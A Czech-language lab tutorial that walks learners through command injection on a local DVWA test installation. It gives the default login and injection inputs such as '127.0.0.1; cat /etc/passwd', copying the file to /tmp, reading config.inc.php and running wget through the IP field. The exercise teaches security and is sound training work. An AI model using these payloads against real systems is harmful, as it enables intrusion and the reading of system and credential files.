A1 – Injektování – Command Injection

- http://localhost/dvwa/ admin / password
- Command Injection
- Do pole „Enter an IP address:“ vložte nejakou IP adresu. Např. 127.0.0.1
- Submit
- Správně se zobrazily informace k dané IP.

- **Vypište si obsah souboru:**
- Do pole „Enter an IP address:“ vložte cat /etc/passwd
- Příkaz cat slouží ke spojení nebo vypsání obsahu souboru (s libovolným obsahem). Soubor passwd obsahuje jeden řádek pro každého uživatele ve vašem systému. Soubor se vám ale nepodařilo zobrazit. Zkuste to tedy jinak.
- Do pole „Enter an IP address:“ vložte 127.0.0.1; cat /etc/passwd
- Teď to už funguje.

- Zkuste si zobrazit sobuor config.inc.php, který se nalézá v adresári /dvwa/config.
- Pozn.: Soubory je možné si někdy zobrazovat i v případě SQL Injection pomocí LOAD_FILE(). Proto nezobrazujte podrobné informace v chybových zprávách, kde zpravidla jsou uvedeny i cesty k důležitým adresářům/souborům- Velmi tak usnadňujete možný útok.

- **Nyní zkusme zkopírovat soubor passwd do adresáre /tmp:**
- Do pole „Enter an IP address:“ vložte 127.0.0.1; cat /etc/passwd | tee /tmp/passwd
- Pozn.: tee je program, který umí data, jež jsou mu předána na standardní vstup, ukládat do souboru a zároveň je vypisovat na standardní výstup.

- **Nyní zkuste příkaz wget:**
- Do pole „Enter an IP address:“ vložte 127.0.0.1; wget http://potmechut.cz/images/potmechut/obrazky/anglie/radcliffe_camera.jpg
- Pozn.: Wget je nástroj určený k získávání souboru pres HTTP a FTP.

- **Zkuste další příkazy** (http://www.abclinuxu.cz/ucebnice/prehled-prikazu).